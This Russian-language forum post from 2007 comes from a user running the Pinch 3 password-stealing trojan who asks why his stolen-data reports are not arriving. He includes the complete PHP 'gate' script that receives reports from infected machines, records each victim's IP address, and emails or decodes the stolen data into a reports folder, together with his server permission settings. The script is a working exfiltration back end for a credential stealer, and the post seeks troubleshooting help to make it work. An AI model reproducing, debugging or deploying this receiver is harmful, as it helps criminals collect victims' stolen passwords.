
05.09.2007, 20:31
|
|
Новичок
Регистрация: 27.08.2007
Сообщений: 20
Провел на форуме: 349114
Репутация:
9
|
|
у меня проблемка...
итак.. полюзуюсь пинч3 от васьки, хост h18.ru, для управления хостом - SmartFTP
ето мой гейт:
PHP код:
<?
//CFG
$mode = 2; //1.Send to e-mail, 2.Save to file, 3.E-mail+file
$rndatch = false; //Random reports names
$savetodir = true; //Save reports to changed directory
$dirname = "ot4etu"; //Directory name
// a - recepient
// b - subject
// c - message body
// d - file name (not *.php)
//Getting data
$ip=getenv("REMOTE_ADDR");
$email=$_POST['a'];
$subject=$_POST['b']." (".$ip.")";
$msg=str_replace(" ", "+", $_POST['c']);
$var=$_POST['d'];
//Storing || Sending data
//via E-Mail
IF($mode == 1 || $mode == 3)
{
IF($rndatch)
{
$array=range('a', 'z');
$c=count($array);
$var=$array[rand(1, $c)].$array[rand(1, $c)].$array[rand(1, $c)].$array[rand(1, $c)].rand(0, 9).rand(0, 9).".bin";
}
$headers = "Content-Type: application/octet-stream; name=\"".$var."\"\n";
$headers.= "Content-Transfer-Encoding: base64\n";
$headers.= "Content-Disposition: attachment; filename=\"".$var."\"\n";
mail($email, $subject, $msg, $headers);
}
//via File
IF($mode == 2 || $mode == 3)
{
//To dir
IF($savetodir)
{
@mkdir($dirname);
@chdir($dirname);
}
$vartype=substr($var, -3, 3);
IF($vartype == "php")
$var .= ".saf";
$filename = date('H_i-d.m.Y', time()+3600*6)."_".$ip."_".$var;
$fp=fopen($filename, 'w');
fwrite($fp, base64_decode($msg));
fclose($fp);
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>ret_ok</title>
</head>
<body>
</body>
</html>
ТУТ скрин с хоста(CMOD раставляю так: WWW-775, passi-777, ot4etu-777, gate.php-666)
ТУТ - скрин Билдера
отчети не идут, ненаю что не так.....(перечитал уже наверно все стати рунета по настройке пинча)
антивирус отключен, Билдер через на два мыла работает отлично..
помогите плиз
|
|
|